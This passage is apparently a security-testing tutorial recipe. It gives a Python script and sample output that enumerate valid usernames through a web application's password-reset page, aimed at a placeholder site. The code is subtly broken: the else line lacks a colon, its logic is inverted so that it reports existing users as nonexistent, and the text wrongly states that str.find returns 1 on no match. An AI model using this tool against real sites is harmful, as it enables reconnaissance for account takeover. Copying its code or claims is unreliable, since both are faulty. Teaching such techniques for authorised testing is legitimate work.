Each web application may be different. So, before you go ahead and create your username checking tool, you will want to perform a reconnaissance. Details you will need to find will include the page that is accessed to request a password reset, the parameters that you need to send to this page, and what happens in the event of a successful or failed outcome.

Once you have the details of how the password reset request works on the target, you can assemble your script. The following is an example of what your tool will look like:

#basic username check
import sys
import urllib
import urllib2

if len(sys.argv) !=2:
    print "usage: %s username" % (sys.argv[0])
    sys.exit(0)

url = "http://www.vulnerablesite.com/resetpassword.html"
username = str(sys.argv[1])
data = urllib.urlencode({"username":username})
response = urllib2.urlopen(url,data).read()
UnknownStr="Username not found"
if(response.find(UnknownStr)<0):
  print "Username does not exist\n"
else
  print "Username exists!"

The following shows an example of the output produced when using this script:

user@pc:~# python usernamecheck.py randomusername

Username does not exist

user@pc:~# python usernamecheck.py admin

Username exists!

After the number of arguments have been validated and the arguments have been assigned to variables, we use the urllib module in order to encode the data that we are submitting to the page:

data = urllib.urlencode({"username":username})

We then look for the string that indicates that the request failed due to a username that does not exist:

UnknownStr="Username not found"

The result of find (str) does not give a simple true or false. Instead, it will return the position in the string that the substring is found in. However, if it does not find the substring you are searching for, it will return 1.

This recipe can be adapted to other situations. Password resets may request e-mail addresses instead of usernames. Or a successful response may reveal the e-mail address registered to a user. The important thing is to look out for situations where a web application may reveal more than it should.

For bigger jobs, you will want to consider using the Brute forcing usernames recipe instead.